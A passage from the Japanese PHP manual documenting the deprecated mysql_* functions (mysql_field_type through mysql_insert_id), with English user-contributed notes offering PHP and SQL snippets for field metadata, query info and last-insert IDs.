    $rowCount = mysql_num_fields($result);

    for ($idx = 0; $idx < $rowCount; $idx++)
    {
        $table = mysql_field_table($result, $idx);
        $field = mysql_field_name($result, $idx);
        $assoc["$table.$field"] = $row[$idx];
    }

    return $assoc;
}
?>

Lets asume we have 2 tables student and contact each having fID as the index field and want to access both fID fields in php.

The usage of this function will be pretty similar to calling mysql_fetch_array:

<?php
$result = mysql_query("select * from student s inner join contact c on c.fID = s.frContactID");

while ($row = mysql_fetch_alias_array($result))
{
    echo "StudenID: {$row['s.fID']}, ContactID: {$row['c.fID']}";
}
?>

Voila, that's it :)

Please be aware that by using this function, you have to access all fields with their alias name (e.g. s.Name, s.Birhtday) even if they are not duplicated.

If you have questions, just send me a mail.

Best regards,
Mehdi Haresi
die-webdesigner.at
jorge at rhst dot net 29-Jul-2007 02:57
The function below takes a function and returns the col->table mapping as an array.

For example:

$query = "SELECT a.id AS a_id, b.id b_id FROM atable AS a, btable b"

$cols  = queryAlias($query);

print_r($cols);

Returns:

Array
(
    [a] => atable
    [b] => btable
)

I can't promise it's perfect, but this function never hit production cause I ended up using mysqli methods instead.

Enjoy
-Jorge

  /**
   * Takes in a query and returns the alias->table mapping.
   *
   * @param string $query
   * @return array of alias mapping
   */

  function queryAlias ( $query ) {

    //Make it all lower, we ignore case
    $substr = strtolower($query);

    //Remove any subselects
    $substr = preg_replace ( '/\(.*\)/', ", $substr);

    //Remove any special charactors
    $substr = preg_replace ( '/[^a-zA-Z0-9_,]/', ' ', $substr);

    //Remove any white space
    $substr = preg_replace('/\s\s+/', ' ', $substr);

    //Get everything after FROM
    $substr = strtolower(substr($substr, strpos(strtolower($substr),' from ') + 6));

    //Rid of any extra commands
    $substr = preg_replace(
                Array(
                    '/ where .*+$/',
                    '/ group by .*+$/',
                    '/ limit .*+$/' ,
                    '/ having .*+$/' ,
                    '/ order by .*+$/',
                    '/ into .*+$/'
                   ), ", $substr);

    //Remove any JOIN modifiers
    $substr = preg_replace(
                Array(
                    '/ left /',
                    '/ right /',
                    '/ inner /',
                    '/ cross /',
                    '/ outer /',
                    '/ natural /',
                    '/ as /'
                   ), ' ', $substr);

    //Replace JOIN statements with commas
    $substr = preg_replace(Array('/ join /', '/ straight_join /'), ',', $substr);

    $out_array = Array();

    //Split by FROM statements
    $st_array = split (',', $substr);

    foreach ($st_array as $col) {

      $col = preg_replace(Array('/ on .*+/'), ", $col);

      $tmp_array = split(' ', trim($col));

      //Oh no, something is wrong, let's just continue
      if (!isset($tmp_array[0]))
        continue;

      $first = $tmp_array[0];

      //If the "AS" is set, lets include that, if not, well, guess this table isn't aliased.
      if (isset($tmp_array[1]))
        $second = $tmp_array[1];
        else
        $second = $first;

      if (strlen($first))
       $out_array[$second] = $first;

    }

    return $out_array;
  }
spam at blondella dot de 03-Oct-2006 04:09
<?php
/*
this function might help in the case described above :-)
*/
function mysql_field_table_resolve_alias($inQuery,$inResult,$inFieldName) {
   $theNameOrAlias = mysql_field_table($inResult,$inFieldName);
   //check, if AS syntax is being used
   if(ereg(" AS ",$inQuery))  {
      //catch words in query
      $theWords = explode(" ",ereg_replace(",|\n"," ",$inQuery));
      //find the words preceding and following AS
      foreach($theWords as $theIndex => $theWord)  {
         if(trim($theWord) == "AS"
         && isset($theWords[$theIndex-1])
         && isset($theWords[$theIndex+1])
         && $theWords[$theIndex+1] == $theNameOrAlias
         ) {
            $theNameOrAlias = $theWords[$theIndex-1];
            break 1;
         }
      }
   }
   return $theNameOrAlias;
}
?>
me at thomaskeller dot biz 23-Nov-2005 01:15
Beware that if you upgrade to MySQL 5 from any earlier version WITHOUT dumping and reloading your data (just by keeping the binary data in MyISAM table files), you might get weird output on the "table" value for mysql_fetch_field and in this function. Weird means that the table name is randomly set or not.

This behaviour seems to popup only if the SQL query contains a ORDER BY clause. A bug is already reported:

http://bugs.mysql.com/bug.php?id=14915

To prevent the issue, dump and reload all participating tables in your query or do

CREATE TABLE tmp SELECT * FROM table;
DROP TABLE table;
ALTER TABLE tmp RENAME table;

on each one via commandline client.
cptnemo 14-Aug-2004 07:18
When trying to find table names for a (My)SQL query containing 'tablename AS alias', mysql_field_table() only returns the alias as specified in the AS clause, and not the tablename.


結果において指定したフィールドの型を取得する

  • ≪ mysql_field_table
  • mysql_free_result ≫
  • PHP Manual
  • MySQL 関数
  • 結果において指定したフィールドの型を取得する

mysql_field_type

(PHP 4, PHP 5)

mysql_field_type — 結果において指定したフィールドの型を取得する

警告

この拡張モジュールは PHP 5.5.0 で非推奨になり、PHP 7.0.0 で削除されました。 MySQLi あるいは PDO_MySQL を使うべきです。詳細な情報は MySQL: API の選択 や それに関連する FAQ を参照ください。 この関数の代替として、これらが使えます。

  • mysqli_fetch_field_direct() [type]
  • PDOStatement::getColumnMeta() [driver:decl_type] あるいは [pdo_type]

説明

mysql_field_type ( resource $result , int $field_offset ) : string

mysql_field_type() は、 mysql_field_name() 関数に似ています。 引数は同じですが、この関数ではフィールドの型が返されます。

パラメータ

result

評価された結果 リソース。 この結果は、mysql_query() のコールにより得られたものです。

field_offset

数値フィールドオフセット。 field_offset は 0 から始まります。 field_offset が存在しない場合、 E_WARNING レベルのエラーが発行されます。

返り値

返されるフィールド型は "int", "real", "string", "blob", そして その他 » MySQL ドキュメント で詳細が規定されている型のうちのひとつになります。

例

例1 mysql_field_type() の例

<?php
mysql_connect("localhost", "mysql_username", "mysql_password");
mysql_select_db("mysql");
$result = mysql_query("SELECT * FROM func");
$fields = mysql_num_fields($result);
$rows   = mysql_num_rows($result);
$table  = mysql_field_table($result, 0);
echo "Your '" . $table . "' table has " . $fields . " fields and " . $rows . " record(s)\n";
echo "The table has the following fields:\n";
for ($i=0; $i < $fields; $i++) {
    $type  = mysql_field_type($result, $i);
    $name  = mysql_field_name($result, $i);
    $len   = mysql_field_len($result, $i);
    $flags = mysql_field_flags($result, $i);
    echo $type . " " . $name . " " . $len . " " . $flags . "\n";
}
mysql_free_result($result);
mysql_close();
?>

上の例の出力は、 たとえば以下のようになります。

Your 'func' table has 4 fields and 1 record(s)
The table has the following fields:
string name 64 not_null primary_key binary
int ret 1 not_null
string dl 128 not_null
string type 9 not_null enum

注意

注意:

下位互換のために、次の非推奨別名を使用してもいいでしょう。 mysql_fieldtype()

参考

  • mysql_field_name() - 結果において指定したフィールド名を取得する
  • mysql_field_len() - 指定したフィールドの長さを返す

User Contributed Notes

fred at dinkler dot com 08-Feb-2007 11:52
In MySQL 4.1.x, the four TEXT types (TINYTEXT, TEXT, MEDIUMTEXT, and LONGTEXT) return 'blob" as field types, not "string".
c dot futterlieb at bluewin dot ch 10-Dec-2006 06:06
Additional to the note below:
If you're using the "SHOW FIELDS" syntax, be sure that you're adding the table name instead of the db name in the "FROM" parameter:

<?php
$result = mysql_query("SHOW FIELDS FROM table");
?>

Also possible:

<?php
$result = mysql_query("SHOW FIELDS FROM table.db");
?>

or this:

<?php
$result = mysql_query("DESCRIBE table");
?>
http://dev.mysql.com/doc/refman/5.1/en/describe.html
fusionstream at gmail dot com 17-Sep-2006 09:19
krang at krang dot org dot uk
Condensed version of what KRANG said.

To get info on the MYSQL field type, use this code

<?
$result = mysql_query("SHOW FIELDS FROM db_name");

$i = 1;
while ($row = mysql_fetch_array($result)) { //go through one field at a time
  echo "Field $i: ";
  print_r($row) //display all information about A field which can be accessed thru the "$row" array.
  $i++;
}
?>

Will display something like:
Field 1: Array ( [Field] => SN [Type] => mediumint(8) unsigned [Null] => [Key] => PRI [Default] => [Extra] => auto_increment ) , SN, mediumint(8) unsigned
Field 2: Array ( [Field] => ENTITY_ID [Type] => varchar(20) [Null] => [Key] => [Default] => [Extra] => ) , ENTITY_ID, varchar(20)
mariob at menta dot net 07-Nov-2003 12:21
For version 4.3.4, types returned are:

STRING, VAR_STRING: string
TINY, SHORT, LONG, LONGLONG, INT24: int
FLOAT, DOUBLE, DECIMAL: real
TIMESTAMP: timestamp
YEAR: year
DATE: date
TIME: time
DATETIME: datetime
TINY_BLOB, MEDIUM_BLOB, LONG_BLOB, BLOB: blob
NULL: null
Any other: unknown
swalif_mesa at hotmail dot com 09-Jul-2003 10:38
Hmm for the previous comment, note that SHOW FIELDS is an alias of SHOW COLUMNS. Very useful if you need to search the mysql-documentation. Here is the link anyway...
http://www.mysql.com/doc/en/SHOW_DATABASE_INFO.html
krang at krang dot org dot uk 10-Mar-2002 06:13
The field type returns what PHP classifies the data found in the field, not how it is stored in the database; use the following example to retrieve the MySQL information about the field....

$USERNAME = '';
$PASSWORD = '';

$DATABASE = '';
$TABLE_NAME = '';

mysql_connect('localhost', $USERNAME, $PASSWORD)
    or die ("Could not connect");

$result = mysql_query("SHOW FIELDS FROM $DATABASE.$TABLE_NAME");

$i = 0;

while ($row = mysql_fetch_array($result)) {
  echo $row['Field'] . ' ' . $row['Type'];
}


結果保持用メモリを開放する

  • ≪ mysql_field_type
  • mysql_get_client_info ≫
  • PHP Manual
  • MySQL 関数
  • 結果保持用メモリを開放する

mysql_free_result

(PHP 4, PHP 5)

mysql_free_result — 結果保持用メモリを開放する

警告

この拡張モジュールは PHP 5.5.0 で非推奨になり、PHP 7.0.0 で削除されました。 MySQLi あるいは PDO_MySQL を使うべきです。詳細な情報は MySQL: API の選択 や それに関連する FAQ を参照ください。 この関数の代替として、これらが使えます。

  • mysqli_free_result()
  • null を PDO オブジェクトに代入、あるいは PDOStatement::closeCursor()

説明

mysql_free_result ( resource $result ) : bool

mysql_free_result() は、結果 ID result に関するすべてのメモリを開放します。

mysql_free_result() は、 スクリプト実行のメモリの使用量が多すぎると懸念される場合にのみ 必要になります。指定した結果 ID に関する全ての結果保持用メモリは、 スクリプトの実行後に自動的に開放されます。

パラメータ

result

評価された結果 リソース。 この結果は、mysql_query() のコールにより得られたものです。

返り値

成功した場合に true を、失敗した場合に false を返します。

result がリソースではなかった場合、 E_WARNING レベルのエラーが発生します。 mysql_query() が resource を返すのは SELECT, SHOW, EXPLAIN, そして DESCRIBE の場合だけであることに注意しましょう。

例

例1 mysql_free_result() の例

<?php
$result = mysql_query("SELECT id,email FROM people WHERE id = '42'");
if (!$result) {
    echo 'Could not run query: ' . mysql_error();
    exit;
}
/* 結果を利用する。ここでは、その後結果を利用したものと仮定する */
$row = mysql_fetch_assoc($result);

/* 結果を開放し、さらにスクリプトの処理を進める */
mysql_free_result($result);

echo $row['id'];
echo $row['email'];
?>

注意

注意:

下位互換のために、次の非推奨別名を使用してもいいでしょう。 mysql_freeresult()

参考

  • mysql_query() - MySQL クエリを送信する
  • is_resource() - 変数がリソースかどうかを調べる

User Contributed Notes

webmaster at bluesting dot co dot za 16-Mar-2011 04:44
mysql_query() also returns a resource for "OPTIMIZE TABLE" statements!
admin at ifyouwantblood dot de 18-Mar-2008 12:47
yes this function may increase the memory usage if you use unbuffered querys and if you have not fetched all the data from mysql. in this case the mysql api has a problem: you want to free the result but do not want to close the connection. now mysql will only accept another query if all data has been fetched, so the api now must fetch the rest of the data when calling mysql_free_result().

so only use unbuffered querys if you fetch all the data (and need it).
21-Nov-2006 02:53
If you're seeing warnings like "Warning: Unknown: 6 result set(s) not freed. Use mysql_free_result to free result sets which were requested using mysql_query() in Unknown on line 0" and want to turn them off, set mysql.trace_mode = Off in your php.ini


MySQL クライアント情報を取得する

  • ≪ mysql_free_result
  • mysql_get_host_info ≫
  • PHP Manual
  • MySQL 関数
  • MySQL クライアント情報を取得する

mysql_get_client_info

(PHP 4 >= 4.0.5, PHP 5)

mysql_get_client_info — MySQL クライアント情報を取得する

警告

この拡張モジュールは PHP 5.5.0 で非推奨になり、PHP 7.0.0 で削除されました。 MySQLi あるいは PDO_MySQL を使うべきです。詳細な情報は MySQL: API の選択 や それに関連する FAQ を参照ください。 この関数の代替として、これらが使えます。

  • mysqli_get_client_info()
  • PDO::getAttribute(PDO::ATTR_CLIENT_VERSION)

説明

mysql_get_client_info ( ) : string

mysql_get_client_info() は、 クライアントライブラリのバージョンを表す文字列を返します。

返り値

MySQL クライアントのバージョンを返します。

例

例1 mysql_get_client_info() の例

<?php
printf("MySQL client info: %s\n", mysql_get_client_info());
?>

上の例の出力は、 たとえば以下のようになります。

MySQL client info: 3.23.39

参考

  • mysql_get_host_info() - MySQL ホスト情報を取得する
  • mysql_get_proto_info() - MySQL プロトコル情報を取得する
  • mysql_get_server_info() - MySQL サーバー情報を取得する

User Contributed Notes

There are no user contributed notes for this page.


MySQL ホスト情報を取得する

  • ≪ mysql_get_client_info
  • mysql_get_proto_info ≫
  • PHP Manual
  • MySQL 関数
  • MySQL ホスト情報を取得する

mysql_get_host_info

(PHP 4 >= 4.0.5, PHP 5)

mysql_get_host_info — MySQL ホスト情報を取得する

警告

この拡張モジュールは PHP 5.5.0 で非推奨になり、PHP 7.0.0 で削除されました。 MySQLi あるいは PDO_MySQL を使うべきです。詳細な情報は MySQL: API の選択 や それに関連する FAQ を参照ください。 この関数の代替として、これらが使えます。

  • mysqli_get_host_info()
  • PDO::getAttribute(PDO::ATTR_CONNECTION_STATUS)

説明

mysql_get_host_info ( resource $link_identifier = NULL ) : string|false

使用されている接続の型を返します。その中にはサーバーのホスト名も含まれます。

パラメータ

link_identifier

MySQL 接続。 指定されない場合、mysql_connect() により直近にオープンされたリンクが 指定されたと仮定されます。そのようなリンクがない場合、引数を指定せずに mysql_connect() がコールした時と同様にリンクを確立します。 リンクが見付からない、または、確立できない場合、 E_WARNING レベルのエラーが生成されます。

返り値

使用されている MySQL 接続の型を表す文字列を返します。 失敗した場合に false を返します。

例

例1 mysql_get_host_info() の例

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
    die('Could not connect: ' . mysql_error());
}
printf("MySQL host info: %s\n", mysql_get_host_info());
?>

上の例の出力は、 たとえば以下のようになります。

MySQL host info: Localhost via UNIX socket

参考

  • mysql_get_client_info() - MySQL クライアント情報を取得する
  • mysql_get_proto_info() - MySQL プロトコル情報を取得する
  • mysql_get_server_info() - MySQL サーバー情報を取得する

User Contributed Notes

There are no user contributed notes for this page.


MySQL プロトコル情報を取得する

  • ≪ mysql_get_host_info
  • mysql_get_server_info ≫
  • PHP Manual
  • MySQL 関数
  • MySQL プロトコル情報を取得する

mysql_get_proto_info

(PHP 4 >= 4.0.5, PHP 5)

mysql_get_proto_info — MySQL プロトコル情報を取得する

警告

この拡張モジュールは PHP 5.5.0 で非推奨になり、PHP 7.0.0 で削除されました。 MySQLi あるいは PDO_MySQL を使うべきです。詳細な情報は MySQL: API の選択 や それに関連する FAQ を参照ください。 この関数の代替として、これらが使えます。

  • mysqli_get_proto_info()

説明

mysql_get_proto_info ( resource $link_identifier = NULL ) : int|false

MySQL プロトコルを取得します。

パラメータ

link_identifier

MySQL 接続。 指定されない場合、mysql_connect() により直近にオープンされたリンクが 指定されたと仮定されます。そのようなリンクがない場合、引数を指定せずに mysql_connect() がコールした時と同様にリンクを確立します。 リンクが見付からない、または、確立できない場合、 E_WARNING レベルのエラーが生成されます。

返り値

成功した場合に MySQL プロトコル、失敗した場合に false を返します。

例

例1 mysql_get_proto_info() の例

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
    die('Could not connect: ' . mysql_error());
}
printf("MySQL protocol version: %s\n", mysql_get_proto_info());
?>

上の例の出力は、 たとえば以下のようになります。

MySQL protocol version: 10

参考

  • mysql_get_client_info() - MySQL クライアント情報を取得する
  • mysql_get_host_info() - MySQL ホスト情報を取得する
  • mysql_get_server_info() - MySQL サーバー情報を取得する

User Contributed Notes

There are no user contributed notes for this page.


MySQL サーバー情報を取得する

  • ≪ mysql_get_proto_info
  • mysql_info ≫
  • PHP Manual
  • MySQL 関数
  • MySQL サーバー情報を取得する

mysql_get_server_info

(PHP 4 >= 4.0.5, PHP 5)

mysql_get_server_info — MySQL サーバー情報を取得する

警告

この拡張モジュールは PHP 5.5.0 で非推奨になり、PHP 7.0.0 で削除されました。 MySQLi あるいは PDO_MySQL を使うべきです。詳細な情報は MySQL: API の選択 や それに関連する FAQ を参照ください。 この関数の代替として、これらが使えます。

  • mysqli_get_server_info()
  • PDO::getAttribute(PDO::ATTR_SERVER_VERSION)

説明

mysql_get_server_info ( resource $link_identifier = NULL ) : string|false

MySQL サーバーのバージョンを取得します。

パラメータ

link_identifier

MySQL 接続。 指定されない場合、mysql_connect() により直近にオープンされたリンクが 指定されたと仮定されます。そのようなリンクがない場合、引数を指定せずに mysql_connect() がコールした時と同様にリンクを確立します。 リンクが見付からない、または、確立できない場合、 E_WARNING レベルのエラーが生成されます。

返り値

成功した場合に MySQL サーバーのバージョン、失敗した場合に false を返します。

例

例1 mysql_get_server_info() の例

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
    die('Could not connect: ' . mysql_error());
}
printf("MySQL server version: %s\n", mysql_get_server_info());
?>

上の例の出力は、 たとえば以下のようになります。

MySQL server version: 4.0.1-alpha

参考

  • mysql_get_client_info() - MySQL クライアント情報を取得する
  • mysql_get_host_info() - MySQL ホスト情報を取得する
  • mysql_get_proto_info() - MySQL プロトコル情報を取得する
  • phpversion() - 現在の PHP バージョンを取得する

User Contributed Notes

cmscoder at seasamecreek dot info 16-May-2008 04:55
Here is something I put together because I needed a way to pull the MySQL version number from the server without actually having a connection.  This was due to being part of a server info screen prior to installation of a cms.  Users need to know if their MySQL is supported or not prior to installation right? :)

This will scrape the phpinfo page looking for the MySQL row that says Client API version and return the version number after it.  This could also be used to scrape just about anything from the phpinfo page. :)

ob_start();
phpinfo(INFO_MODULES);
$info = ob_get_contents();
ob_end_clean();
$info = stristr($info, 'Client API version');
preg_match('/[1-9].[0-9].[1-9][0-9]/', $info, $match);
$gd = $match[0];
echo 'MySQL:  '.$gd.' <br />';

This will output:
MySQL: 4.1.22 (which is the version on my server)

I know this is crude but it's the only thing I could come up with and there isn't anything like this info available online so here it is.  I suck at preg_match and it would be helpful if someone could modify the string here to stand the test of time.
Kalle Sommer Nielsen 29-May-2007 04:54
An alternative to mysql_get_client_info() is to use the VERSION() function in MySQL language like:

<?php
$query = mysql_query("SELECT VERSION() as mysql_version");
?>

The output is the same as mysql_get_client_info()
cNOooSPAMlmax1 at o2 dot pl 08-Jul-2006 04:27
That's better:

<?php
mysql_connect('localhost', 'user', 'password') or
   die('Could not connect: ' . mysql_error());
$a = mysql_get_server_info();
$b = substr($a, 0, strpos($a, "-"));
echo $b;
?>


直近のクエリについての情報を得る

  • ≪ mysql_get_server_info
  • mysql_insert_id ≫
  • PHP Manual
  • MySQL 関数
  • 直近のクエリについての情報を得る

mysql_info

(PHP 4 >= 4.3.0, PHP 5)

mysql_info — 直近のクエリについての情報を得る

警告

この拡張モジュールは PHP 5.5.0 で非推奨になり、PHP 7.0.0 で削除されました。 MySQLi あるいは PDO_MySQL を使うべきです。詳細な情報は MySQL: API の選択 や それに関連する FAQ を参照ください。 この関数の代替として、これらが使えます。

  • mysqli_info()

説明

mysql_info ( resource $link_identifier = NULL ) : string

直近のクエリについての詳細な情報を返します。

パラメータ

link_identifier

MySQL 接続。 指定されない場合、mysql_connect() により直近にオープンされたリンクが 指定されたと仮定されます。そのようなリンクがない場合、引数を指定せずに mysql_connect() がコールした時と同様にリンクを確立します。 リンクが見付からない、または、確立できない場合、 E_WARNING レベルのエラーが生成されます。

返り値

成功した場合に文についての情報、失敗した場合に false を返します。 どんな文が情報を返し、またそれがどのように見えるのかについては、以下の 例を参照ください。ここに挙げられていない文では false が返されます。

例

例1 該当する MySQL 文

情報を返す文の例です。数値はあくまで説明用の例で、実際の値は クエリの内容によって変わります。

INSERT INTO ... SELECT ...
String format: Records: 23 Duplicates: 0 Warnings: 0
INSERT INTO ... VALUES (...),(...),(...)...
String format: Records: 37 Duplicates: 0 Warnings: 0
LOAD DATA INFILE ...
String format: Records: 42 Deleted: 0 Skipped: 0 Warnings: 0
ALTER TABLE
String format: Records: 60 Duplicates: 0 Warnings: 0
UPDATE
String format: Rows matched: 65 Changed: 65 Warnings: 0

注意

注意:

INSERT ... VALUES 文で mysql_info() が非 false 値を 返すのは、文中で複数の値のリストが指定された場合に限ります。

参考

  • mysql_affected_rows() - 一番最近の操作で変更された行の数を得る
  • mysql_insert_id() - 直近のクエリで生成された ID を得る
  • mysql_stat() - 現在のシステムの状態を取得する

User Contributed Notes

tomas at matfyz dot cz 06-Dec-2008 03:57
Please note that the information on warning count cannot be taken from the mysql_info() due to mysql bugs #41283 and #41285:

http://bugs.mysql.com/?id=41283
http://bugs.mysql.com/?id=41285
bdobrica at gmail dot com 24-Apr-2006 12:18
As a solution to the problem pointed in the post reffering to mysql_affected_rows() returning 0 when you are making an update query and the fields are not modified although the query is valid, i'm posting the following function. It is very simple and based on a previous post.

function mysql_modified_rows () {
        $info_str = mysql_info();
        $a_rows = mysql_affected_rows();
        ereg("Rows matched: ([0-9]*)", $info_str, $r_matched);
        return ($a_rows < 1)?($r_matched[1]?$r_matched[1]:0):$a_rows;
        }

Hope you'll find it usefull.
info at granville dot nl 09-Nov-2005 03:25
Imade a quick conversion of eric's function just to count matched or affected rows from a query.

/**GD gdf_db_count_query_v1: returns the amount of rows matched or affected by the last query. Must be used immediately after the concerned query.
*/

function gdf_db_count_query($link = 'dbh') {

    $info_str = mysql_info($$link);

       if (ereg("Records: ([0-9]*)", $info_str, $count) == false) {
        ereg("Rows matched: ([0-9]*)", $info_str, $count);
    }

    return $count;

}
eric at projectsatellite dot com 22-Sep-2003 02:54
I agree that this is a useful function to use when trying to check on whether an update query matched a particular row. I created a simple function that returns an associative array with the values delineated in the returned string.

function get_mysql_info($linkid = null){
    $linkid? $strInfo = mysql_info($linkid) : $strInfo = mysql_info();

    $return = array();
    ereg("Records: ([0-9]*)", $strInfo, $records);
    ereg("Duplicates: ([0-9]*)", $strInfo, $dupes);
    ereg("Warnings: ([0-9]*)", $strInfo, $warnings);
    ereg("Deleted: ([0-9]*)", $strInfo, $deleted);
    ereg("Skipped: ([0-9]*)", $strInfo, $skipped);
    ereg("Rows matched: ([0-9]*)", $strInfo, $rows_matched);
    ereg("Changed: ([0-9]*)", $strInfo, $changed);

    $return['records'] = $records[1];
    $return['duplicates'] = $dupes[1];
    $return['warnings'] = $warnings[1];
    $return['deleted'] = $deleted[1];
    $return['skipped'] = $skipped[1];
    $return['rows_matched'] = $rows_matched[1];
    $return['changed'] = $changed[1];

    return $return;
}

After trying to update a row that may or may not exist, you can use the above function like so:

$vals = get_mysql_info($linkid);
if($vals['rows_matched'] == 0){
     mysql_query("INSERT INTO table values('val1','val2', 'valetc')", $linkid);
}
carl at NOSPAMthep dot lu dot se 06-Sep-2002 04:44
This function can be used as a workaround for a misfeature of MySQL: on an UPDATE, rows that aren't updated _solely because they looked the same before_ will not be seen in mysql_affected_rows(). This causes problems when you want to use the result of the update to determine if there's need to do an INSERT. With MySQL you can do an INSERT IGNORE if there's no risk of if failing because of a duplicate key other than the one used in the UPDATE. However, if this isn't the case or you want a bit of RDBMS independence, there's no easy/pretty workaround. I think I'll resort to doing a SELECT to determine the primary key before doing the update/insert, as using the CVS version of PHP isn't an option for me.


直近のクエリで生成された ID を得る

  • ≪ mysql_info
  • mysql_list_dbs ≫
  • PHP Manual
  • MySQL 関数
  • 直近のクエリで生成された ID を得る

mysql_insert_id

(PHP 4, PHP 5)

mysql_insert_id — 直近のクエリで生成された ID を得る

警告

この拡張モジュールは PHP 5.5.0 で非推奨になり、PHP 7.0.0 で削除されました。 MySQLi あるいは PDO_MySQL を使うべきです。詳細な情報は MySQL: API の選択 や それに関連する FAQ を参照ください。 この関数の代替として、これらが使えます。

  • mysqli_insert_id()
  • PDO::lastInsertId()

説明

mysql_insert_id ( resource $link_identifier = NULL ) : int

直近のクエリ (通常は INSERT) により AUTO_INCREMENT カラム用に生成された ID を取得します。

パラメータ

link_identifier

MySQL 接続。 指定されない場合、mysql_connect() により直近にオープンされたリンクが 指定されたと仮定されます。そのようなリンクがない場合、引数を指定せずに mysql_connect() がコールした時と同様にリンクを確立します。 リンクが見付からない、または、確立できない場合、 E_WARNING レベルのエラーが生成されます。

返り値

直近のクエリにより AUTO_INCREMENT カラム用に生成された ID を返します。直近のクエリが AUTO_INCREMENT な値を生成しなかった 場合に 0、MySQL 接続が確立されていなかった 場合に false を返します。

例

例1 mysql_insert_id() の例

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
    die('Could not connect: ' . mysql_error());
}
mysql_select_db('mydb');

mysql_query("INSERT INTO mytable (product) values ('kossu')");
printf("最後に挿入されたレコードの ID は、%d\n", mysql_insert_id());
?>

注意

警告

mysql_insert_id() は、MySQL C API 関数 mysql_insert_id() の返り値の型を long 型（PHP では int と呼ばれる） に変換します。 AUTO_INCREMENT カラムが BIGINT 型 (64 ビット) である場合、 変換結果は不正確になります。 かわりに、MySQL の SQL 関数 LAST_INSERT_ID() を SQL 内で使いましょう。 PHP の integer 型の最大値に関する詳細な説明は、 integer のドキュメントをごらんください。

注意:

mysql_insert_id() は直近のクエリに対して働くので、 値を生成したクエリの直後に mysql_insert_id() をコールすることを忘れないようにしてください。

注意:

MySQL の SQL 関数 LAST_INSERT_ID() の値には、 常に直近の AUTO_INCREMENT の値が含まれており、クエリの間では リセットされません。

参考

  • mysql_query() - MySQL クエリを送信する
  • mysql_info() - 直近のクエリについての情報を得る

User Contributed Notes

dhiraj dot webdeveloper at gmail dot com 28-Sep-2017 12:22
MySQLi Procedural
//---------------------------------------------
$last_id = mysqli_insert_id($conn);

//---------------------------------------------
 <?php
$servername = "localhost";
$username = "username";
$password = "password";
$dbname = "myDB";

// Create connection
$conn = mysqli_connect($servername, $username, $password, $dbname);
// Check connection
if (!$conn) {
    die("Connection failed: " . mysqli_connect_error());
}

$sql = "INSERT INTO MyGuests (firstname, lastname, email)
VALUES ('John', 'Doe', 'john@example.com')";

if (mysqli_query($conn, $sql)) {
    $last_id = mysqli_insert_id($conn);
    echo "New record created successfully. Last inserted ID is: " . $last_id;
} else {
    echo "Error: " . $sql . "<br>" . mysqli_error($conn);
}

mysqli_close($conn);
?>
hoangvu4000 at gmail dot com 12-Jul-2013 05:09
How to get ID of the last updated row in MySQL?

75
down vote
I've found an answer to this problem :)

by Pomyk

SET @update_id := 0;
UPDATE some_table SET row = 'value', id = (SELECT @update_id := id)
WHERE some_other_row = 'blah' LIMIT 1;
SELECT @update_id;
EDIT by aefxx

This technique can be further expanded to retrieve the ID of every row affected by an update statement:

SET @uids := null;
UPDATE footable
   SET foo = 'bar'
 WHERE fooid > 5
   AND ( SELECT @uids := CONCAT_WS(',', fooid, @uids) );
SELECT @uids;
This will return a string with all the IDs concatenated by a colon.

(questions: 1388025  form stackoverflow)
bargainbatman at gmail dot com 25-Sep-2009 06:16
I thought this would be relevant to all the people using mysqli and looking for the ID after INSERT command :

<?php
function insert_join($catid, $disc_id) {
// insert a new item into the database
   $conn = db_connect();
   // insert new item
   $demande = "insert into categories_disc values ('', '".$catid."', '".$disc_id."')";
   $resultat = $conn->query($demande);
   if (!$resultat) {
     return false;
   } else {
    return $conn->insert_id; // function will now return the ID instead of true.
}

}
?>

Then, on the other side, let us call this function as follows :

<?php
$cat_id = insert_join($catid, $disc_id);
if($cat_id !== false) {

        echo "<p>Category stuff was added to the database as follows : <br>";
        echo "<hr>ID de la category : ".$cat_id."</p><hr>";

        }
?>
elinor dot hurst at REMOVETHIS dot gmail dot com 08-Apr-2008 07:27
I don't get all the fuss around this.

I read:
"The value of mysql_insert_id() is affected only by statements issued within the current client connection. It is not affected by statements issued by other clients."

See: http://dev.mysql.com/doc/refman/5.0/es/mysql-insert-id.html

I can't really see what's inaccurate about that.

"In the case of a multiple-row INSERT statement, mysql_insert_id() returns the first automatically generated AUTO_INCREMENT value; if no such value is generated, it returns the last last explicit value inserted into the AUTO_INCREMENT column."

I must be missing something here but why would you insert multiple rows and then only handle the last one with some favoured behaviour? You could just as well insert them one at a time and then handle each row separately with the latest id.

I can't see what's wrong with that.

However I can see what's wrong with simply using max(my_table.id_column) because of the concurrent access issues this would imply.
Alfred Nony Mouse 23-Feb-2008 05:33
There's nothing inherently wrong with using auto-increment fields. There's also nothing wrong with the main competetive idea, which is for the database to supply a primitive sequence of non-repeating identifiers, typically integers. This is rather like which side of the road you drive on.

The bigger problem is when people don't understand what they are doing with database access. It's like driving a car without really knowing the rules of the road. Such people wind up making bad decisions without realizing it, and then, eventually, something breaks.

Databases are complex beasts, and worth taking the time to really understand. Learn about the implications and limitations of different approaches to solving problems. Then, you will be prepared to pick a solution based on what has to work.
louis at intoplay dot com 13-Aug-2007 07:53
If mysql_insert_id() returns 0 or null, check your auto increment field is not being set by your sql query, also if you have multiple db connections like I did, the solution is to create a seperate db connection for this query.
foros (_AT_) anthalia.com 31-Jul-2007 02:06
Forget about using MAX to get the last inserted id. Race conditions like other users inserting between your SELECT MAX(.. and your INSERT may render your id unusable.

The WAY to get the id is by using mysql_insert_id() or the mysql SQL function LAST_INSERT_ID().

Take care, if using mysql_insert_id() you should provide the resource returned by the mysql_connect, not the resultset returned by mysql_query.
heiligkind at yahoo dot de 14-Dec-2005 01:31
If you insert a data row by using the ON DUPLICATE KEY UPDATE clause in an INSERT-statement, the mysql_insert_id() function will return not the same results as if you directly use LAST_INSERT_ID() in MySQL.

See the following example:

<?
   // insert a datarow, primary key is auto_increment
   // value is a unique key
   $query = "INSERT INTO test (value) VALUES ('test')";
   mysql_query( $query );

   echo 'LAST_INSERT_ID: ',
          mysql_query( "SELECT LAST_INSERT_ID()" ),
          '<br>mysql_insert_id: ',
          mysql_insert_id();

?>

This will print:

LAST_INSERT_ID: 1
mysql_insert_id: 1

In this case the function returns the same as the MySQL-Statement.
But see the insert on an existing key:

<?
